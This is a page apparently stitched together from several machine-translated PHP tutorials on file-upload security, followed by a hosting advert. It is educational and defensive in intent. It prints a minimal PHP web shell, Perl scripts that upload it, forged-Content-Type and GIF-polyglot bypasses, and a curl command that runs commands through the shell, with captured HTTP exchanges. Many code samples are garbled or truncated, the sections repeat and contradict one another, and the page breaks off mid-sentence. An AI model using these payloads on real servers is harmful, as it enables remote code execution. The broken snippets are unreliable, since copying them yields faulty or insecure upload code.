Securely upload files to the server. Uploading files using PHP §5. Uploading an image via a link

  • Translation

This article demonstrates the main vulnerabilities of web applications for uploading files to the server and how to avoid them. The article contains the very basics; it is unlikely that it will be of interest to professionals. But nevertheless, every PHP developer should know this.

Various web applications allow users to upload files. Forums allow users to upload "avatars". Photo galleries allow you to upload photos. Social media provide opportunities to upload images, videos, etc. Blogs allow you to upload avatars and/or images.

Often, uploading files without proper security controls leads to vulnerabilities, which, as practice shows, have become a real problem in PHP web applications.

Conducted tests have shown that many web applications have many security problems. These “holes” provide attackers with extensive opportunities to perform unauthorized actions, starting with viewing any file on the server and uploading and executing arbitrary code. This article talks about the main security holes and how to avoid them.

The code examples provided in this article can be downloaded from:
www.scanit.be/uploads/php-file-upload-examples.zip.

If you want to use them, please make sure that the server you are using is not accessible from the Internet or any other public networks. The examples demonstrate various vulnerabilities, the execution of which on an externally accessible server can lead to dangerous consequences.

Regular file upload

Uploading files usually consists of two independent functions - accepting files from the user and showing files to the user. Both parts can be a source of vulnerabilities. Let's look at the following code (upload1.php):
$uploaddir = "uploads/" ; // Relative path under webroot


echo ;
}
?>


Typically users will upload files using a form like this:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload:< input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >

* This source code was highlighted with Source Code Highlighter.

Intruder this form will not be used. He can write a small Perl script (possibly in any language - translator's note), which will emulate the user’s actions of downloading files in order to change the sent data at their discretion.

In this case, the upload contains a large security hole: upload1.php allows users to upload arbitrary files to the root of the site. An attacker can upload a PHP file that allows arbitrary shell commands to be executed on the server with the privilege of the web server process. This script is called PHP-Shell. Here is the simplest example of such a script:

system($_GET["command"]);
?>

If this script is located on the server, then you can execute any command via a request:
server/shell.php?command=any_Unix_shell_command

More advanced PHP shells can be found on the Internet. They can download arbitrary files, execute SQL queries, etc.

The Perl source shown below uploads PHP-Shell to the server using upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->request(POST "http://localhost/upload1.php",
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();


* This source code was highlighted with Source Code Highlighter.

This script uses libwwwperl, which is a convenience Perl library that emulates an HTTP client.

And this is what will happen when this script is executed:

Request:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost

Content-Length: 156

--xYzZY

Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache

Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

After we have loaded the shell script, we can safely run the command:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL is a command-line HTTP client available on Unix and Windows. This is a very useful tool for testing web applications. cURL can be downloaded from curl.haxx.se

Checking Content-Type

The above example rarely occurs. In most cases, programmers use simple checks to ensure that users download files of a strictly defined type. For example, using the Content-Type header:

Example 2 (upload2.php):

if ($_FILES[;
exit;
}
$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter.

In this case, if an attacker only tries to download shell.php, our code will check the MIME type of the downloaded file in the request and filter out the unnecessary ones.

Request:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
So far so good. Unfortunately, there is a way to bypass this protection because the MIME type being checked comes with the request. In the query above it is set to "text/plain" (it is installed by the browser - translator's note). There is nothing stopping an attacker from setting it to “image/gif”, since with client emulation he has full control over the request he sends (upload2.pl):
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload2.php",
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter.

And this is what happens.

Request:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html

As a result, our upload2.pl forges the Content-Type header, forcing the server to accept the file.

Checking the Contents of an Image File

Instead of trusting the Content-Type header, the PHP developer could check the actual content of the uploaded file to ensure that it is indeed an image. The PHP getimagesize() function is often used for this. It takes the filename as an argument and returns an array of image sizes and type. Let's look at the upload3.php example below.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) (
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter.

Now, if an attacker tries to upload shell.php, even if he sets the Content-Type header to "image/gif", then upload3.php will still throw an error.

Request:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

You might think that now we can rest assured that only GIF or JPEG files will be downloaded. Unfortunately, this is not the case. The file can actually be in GIF or JPEG format, and at the same time a PHP script. Most image formats allow you to add text metadata to the image. It is possible to create a perfectly valid image that contains some PHP code in this metadata. When getimagesize() looks at a file, it will treat it as a valid GIF or JPEG. When a PHP translator looks at a file, it sees executable PHP code in some binary "garbage" that will be ignored. A typical file called crocus.gif is contained in the example (see the beginning of the article). Such an image can be created in any graphics editor.

So, let's create a Perl script to load our image:

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload3.php",
Content_Type => "form-data" ,
Content => , ],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter.

This code takes the file crocus.gif and loads it with the name crocus.php. Execution will result in the following:

Request:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY

Content-Type: image/gif
GIF89a(...some binary data...)(... skipping the rest of binary data ...)
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Now an attacker can execute uploads/crocus.php and get the following:

As you can see, the PHP translator ignores the binary data at the beginning of the image and executes the sequence "" in the GIF comment.

Checking the extension of the downloaded file

A reader of this article might wonder why we don't just check the extension of the downloaded file? If we don't allow *.php files to be loaded, then the server will never be able to execute that file as a script. Let's look at this approach as well.

We can blacklist file extensions and check the name of the uploaded file, ignoring the upload of the file with executable extensions (upload4.php):

$blacklist = array(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) (
if (preg_match(;
exit;
}
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>


* This source code was highlighted with Source Code Highlighter.

The expression preg_match("/$item\$/i", $_FILES["userfile"]["name"]) matches the user-defined file name in the blacklist array. The "i" modifier says that our expression is case insensitive. If the file extension matches one of the items in the blacklist, the file will not be downloaded.

If we try to upload a file with a .php extension, this will result in an error:

Request:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif

--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
If we download a file with a .gif extension, then it will be downloaded:

Request:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Now, if we request the downloaded file, it will not be executed by the server:

When a site requires allowing a user to upload their files (for example, photos or avatars) and then storing them on the server, a number of security problems immediately arise.

The first and most obvious is file names. They must be checked for special characters, since the user can forge an HTTP request, as a result of which the downloaded file will have a name, for example, ../index.php. and when you try to save it, the root index will be overwritten. In addition, the name may contain Russian letters in the windows-1251 or koi-8 encoding, which will not be saved correctly in the file system. Conclusion: you need to save the file not under the name under which the user downloaded it, but under a random one, for example, an MD5 hash of the file name, download time and user IP. The name of this file is somewhere in the database, and then give the file as a script, which will first produce the Content-disposition: attachment; header. filename="filename".

Second problem - extension or MIME type cannot be trusted, they can be faked if desired. Therefore, if the file type is important, it needs to be checked for compliance with the format already on the server (for pictures, the getimagesize function from the GD module is good, for other types - reading headers) and reject those files whose format does not match.

And finally, the third, most important problem -. There are several solutions here. The first is if you intend to download only certain types of files (for example, the avatar can only be a picture in PNG, JPG, GIF) and reject everything that is not suitable. But sometimes you need to allow all types of files to be uploaded. Then the second option arises: check the extension of the downloaded file and, if it is unsafe, rename it (for example, replacing the extension from .php to .phps will result in the script not being executed, but its code will be shown with syntax highlighting). The main disadvantage of this solution is that it may turn out that some server is configured to execute scripts with an unusual extension, for example, .php3, and it will not be possible to filter this out. And finally, the third option is to disable script processing, for example via .htaccess:

RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp

However, please note that the .htaccess file only affects Apache (and even then its use must be enabled in the settings), and on other servers it will be ignored. (This is especially important for scripts that are posted publicly: sooner or later there will be a user with some kind of IIS who will not take the proper measures, so it is better to combine this method with the previous one.)

And lastly: after reading this text, you may want to store user files in a database altogether. You shouldn't do this: although this seems like a simple solution, you should keep in mind that modern search engines index not only regular HTML pages, but also other types of files. And at the moment the search robot passes, the load on the SQL server will increase sharply due to the need to transfer a large amount of data at once, which will lead to problems in the operation of the site.

Indeed, file uploading is an important feature of many of the sites and web applications we use on a daily basis. In this article I will show you another way to upload files using PHP.

Requirements

Uploading files to the server is not difficult, but there are a few small details that must be taken into account, otherwise the upload will not complete. First, you must ensure that PHP is configured to allow downloads. Check your php.ini file and check the file_uploads directive, which should be set to On.

Once you have set up the configurations to allow the server to accept uploaded files, you can focus your attention on the HTML component. Forms are used to upload files from the HTML side. It is extremely important that your forms use the POST method and have the enctype attribute set to multipart/form-data .

<form action = "upload.php" method = "post" enctype = "multipart/form-data" >

Writing a Script for the Boot Process

The process of downloading a file in general looks like this:

  • The visitor views an HTML page with a file upload form;
  • The visitor selects the file he wants to download in the form;
  • The browser encodes the file and sends it as part of the POST request;
  • PHP receives the representation form, decodes the file and saves it to a temporary directory on the server;
  • Next, the PHP script moves the file to a permanent storage location.

Therefore, in order for the visitor to be able to upload a file, an HTML form is needed, which will be provided to the user, and a PHP script to take care of uploading the files to the server.

HTML form

HTML forms provide an interface through which the user initiates file uploads. Remember, the form element must have method = POST and must not encode the data when sent to the server - the enctype attribute is set to multipart/form-data . We place an input element to select a file. As with any other form element, it is very important for us to specify the value of the name attribute so that it can be referenced in the PHP script that processes the form.

The file upload form looks like this:

1
2
3
4
5






It's worth noting that different browsers display the file field differently. This is not a problem, since users are accustomed to how the file selection field looks in their favorite browser. However, if appearance is important to you, I recommend that you read this article.

PHP download script

Information about the downloaded file is located in the multidimensional array $_FILES. This array is indexed by the names of the files placed in the HTML field of the form. The array contains the following information about each file:

  • $_FILES["myFile"]["name"] - original file name;
  • $_FILES["myFile"]["type"] - MIME file type;
  • $_FILES["myFile"]["size"] - file size (in bytes);
  • $_FILES["myFile"]["tmp_name"]— name of the temporary file;
  • $_FILES["myFile"]["error"]— code of any error during transmission.

The move_uploaded_file() function moves an uploaded file from a temporary to a permanent location. You should always use move_uploaded_file() instead of copy() and rename() for this purpose, as it performs an additional check to ensure that the file was actually uploaded using the HTTP POST request.

If you plan to save the file with a real name, then you need to follow a few rules. The file name should not contain characters such as slashes, which could affect the location. The name should not coincide with the name of existing files, so as not to overwrite them. We replace any characters that are not a letter or number with an underscore, and add a “magnifying” number if the names match.

Receiving and handling file uploads using PHP looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

// directory to save the file
define ("UPLOAD_DIR" , "/srv/www/uploads/" ) ;

if (! empty ($_FILES [ "myFile" ] ) ) (
$myFile = $_FILES [ "myFile" ] ;

// check for errors during loading
if ($myFile [ "error" ] !== UPLOAD_ERR_OK) (
echo "

An error has occurred.

" ;
exit ;
}

// provide a safe file name
$name = preg_replace ("/[^A-Z0-9._-]/i" , "_" , $myFile [ "name" ] ) ;

// if the file names match, add a number
$i = 0 ;
$parts = pathinfo ($name) ;
while (file_exists (UPLOAD_DIR . $name ) ) (
$i++;
$name = $parts [ "filename" ] . "-" . $i . "." . $parts["extension"];
}

// move the file to a permanent storage location
$success = move_uploaded_file ($myFile [ "tmp_name" ] ,
UPLOAD_DIR. $name);
if (! $success ) (
echo "" ;
exit ;
}

// set permissions for the new file
chmod(UPLOAD_DIR. $name, 0644);

echo "

File " . $name . " loaded successfully.

" ;
}

First we check the file to see if it was downloaded without any errors. We then define a safe filename and then place the file in the final directory using move_uploaded_file() . And at the end we set the access rights to the file.

Security Issues

Most of us would not allow completely unfamiliar files to be downloaded and stored on our server, but unfortunately in the current situation this is the case. Therefore, you should describe several steps that will minimize the security risks associated with downloading files.

One of them is to check the type of file being downloaded. Relying on the value stored in $_FILES[“myFile”][“type”] is “not good”, since extensions in file names can be easily forged. In such situations, it is better to analyze the contents of the file, for example, using the exif_imagetype() function allows you to determine whether the downloaded file is really an image with a GIF, JPEG, etc. extension. If exif_imagetype() is not available (the function requires an extension Exif), then you can use getimagesize() . The returned array will contain the dimensions and type of the image.

1
2
3
4
5
6
7

...
// file must be an image
$fileType = exif_imagetype ($_FILES [ "myFile" ] [ "tmp_name" ] ) ;
$allowed = array (IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG) ;
if (! in_array ($fileType, $allowed) ) (
// file type is not allowed
...

For non-graphics files, you can use Exec() to call the Unix File utility. This utility determines the file type.

Another step you can take to enhance security when uploading files is to place strict limits on the overall size of the POST request and the number of files that can be uploaded. To do this, you need to specify the appropriate value for the upload_max_size , post_max_size and max_file_uploads directives in the file php.ini.

  • upload_max_size defines the maximum size of uploaded files.
  • In addition to the upload size, you can limit the size of a POST request thanks to the post_max_size directive.
  • max_file_uploads is a newer directive (added in version 5.2.12) that limits the number of files uploaded.

post_max_size = 8M
upload_max_size = 2M
max_file_uploads = 20

The third (somewhat exotic) step you can take to minimize the risk when downloading files is scanning with an antivirus scanner. It is worth adding that this topic is very serious, so it should be given enough attention when developing web applications!

Thus it happens uploading files to server using PHP. If you have any comments or additions to this article, leave them in the comments. Thanks for reading!

P.S. Do you have a website based on the Joomla engine and use hosting services? For those who achieve maximum performance of Internet projects, it is worth trying hosting with joomla. Specialized hosting for Joomla websites will ensure stable and efficient operation, and favorable tariff plans will not leave anyone indifferent.

In the last article we discussed with you. However, I have already told you that it is absolutely forbidden to use the code that was discussed there! And in this article we will talk about security when uploading files to the server in PHP.

Let me remind you of the code we looked at yesterday:

$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

In fact, at the moment absolutely anything can be downloaded: any executable files, scripts, HTML pages and other very dangerous things. Therefore, you must check the downloaded files very carefully. And now we will begin to thoroughly check them.

Since there can be a lot of different options for tasks, we will consider the option of loading a simple image, which should be subject to the following restrictions:

  1. Type - only jpg (jpeg).
  2. Size - less 100 KB.
" in accordance with these requirements:

$blacklist = array(".php", ".phtml", ".php3", ".php4", ".html", ".htm");
foreach ($blacklist as $item)
if(preg_match("/$item\$/i", $_FILES["somename"]["name"])) exit;
$type = $_FILES["somename"]["type"];
$size = $_FILES["somename"]["size"];
if (($type != "image/jpg") && ($type != "image/jpeg")) exit;
if ($size > 102400) exit;
$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

Now let me explain in detail what is happening here. First of all we check the extension of the downloaded file. If it represents PHP script, then we simply do not skip such a file. Next we get MIME-type and size. We check them to ensure they meet our conditions. If everything is fine, then we download the file.

You might probably ask: " Why do you need to check both the extension and MIME-type?". It is very important to understand that this is far from the same thing. If an attacker tries send PHP file via browser, then one MIME-type checks enough for his attempt to fail. But if he writes some script that will generate a request and send a malicious file, then this will not be enough. Why? But because MIME-type is set by the client, not the server! And in fact, an attacker can put any MIME-type(and pictures too), but at the same time send PHP script. And it’s precisely this cunning attempt that we break by checking for the file extension.

I will say right away that this code is far from 100% protection (100% simply does not exist), however, cracking such a code will be very, very difficult, so you can safely say that you have provided high security when uploading files to the server via PHP.

In that article, I only disclosed the download process itself and did not touch upon security issues.

Often, uploading files without proper security controls leads to vulnerabilities, which, as practice shows, have become a real problem in PHP web applications.

If you do not provide the required level of security, an attacker will be able to upload an arbitrary file to the server, for example, php script, with which he can view any file on the server or, even worse, execute arbitrary code!

Therefore, in this article I will try to talk about the main vulnerabilities of web applications for uploading files to the server and ways to avoid them.

So let's get started. The first thing that comes to every developer’s mind is to check Content-Type files. In other words, allow downloading of files of a strictly defined type. Let's take a look at the code:

If an ordinary user tries to upload any file other than a GIF image, he will be given a warning! But the attacker will not use the web form on your site.

He can write a small Perl script (possible in any language), which will emulate user actions by uploading files, in order to change the sent data at your discretion. Since the checked MIME type comes along with the request, then nothing prevents the attacker from setting it to “image/gif”, since with the help of client emulation he has complete control over the request that he sends.

If you're only uploading images, you shouldn't trust the Content-Type header, but rather check the actual content of the uploaded file to make sure it's actually an image. To do this, PHP often uses the function getimagesize().

Function getimagesize() specifies the size of a GIF, JPG, PNG, SWF, PSD, TIFF, or BMP image and returns the dimensions, file type, and height/width of the text string used inside a normal HTML IMG tag.

Let's see how we can use this function in our script:

You might think that now we can rest assured that only GIF or JPEG files will be downloaded. Unfortunately, this is not the case. The file can actually be in GIF or JPEG format, and at the same time a PHP script. Most image formats allow you to add text metadata to the image. It is possible to create a perfectly valid image that contains some PHP code in this metadata. When getimagesize() looks at a file, it will treat it as a valid GIF or JPEG. When a PHP translator looks at a file, it sees executable PHP code in some binary "garbage" that will be ignored.

You might ask, why not just check the file extension? If we don't allow files to be uploaded *.php, then the server will never be able to execute this file as a script. Let's look at this approach as well.

You can create a whitelist of extensions and check the name of the downloaded file against the whitelist.

The expression!preg_match("/$item\$/i", $_FILES["uploadFile"]["name"]) matches the user-defined file name in the whitelist array. Modifier "i" says that our expression is case insensitive. If the file extension matches one of the items in the whitelist, the file will be downloaded, otherwise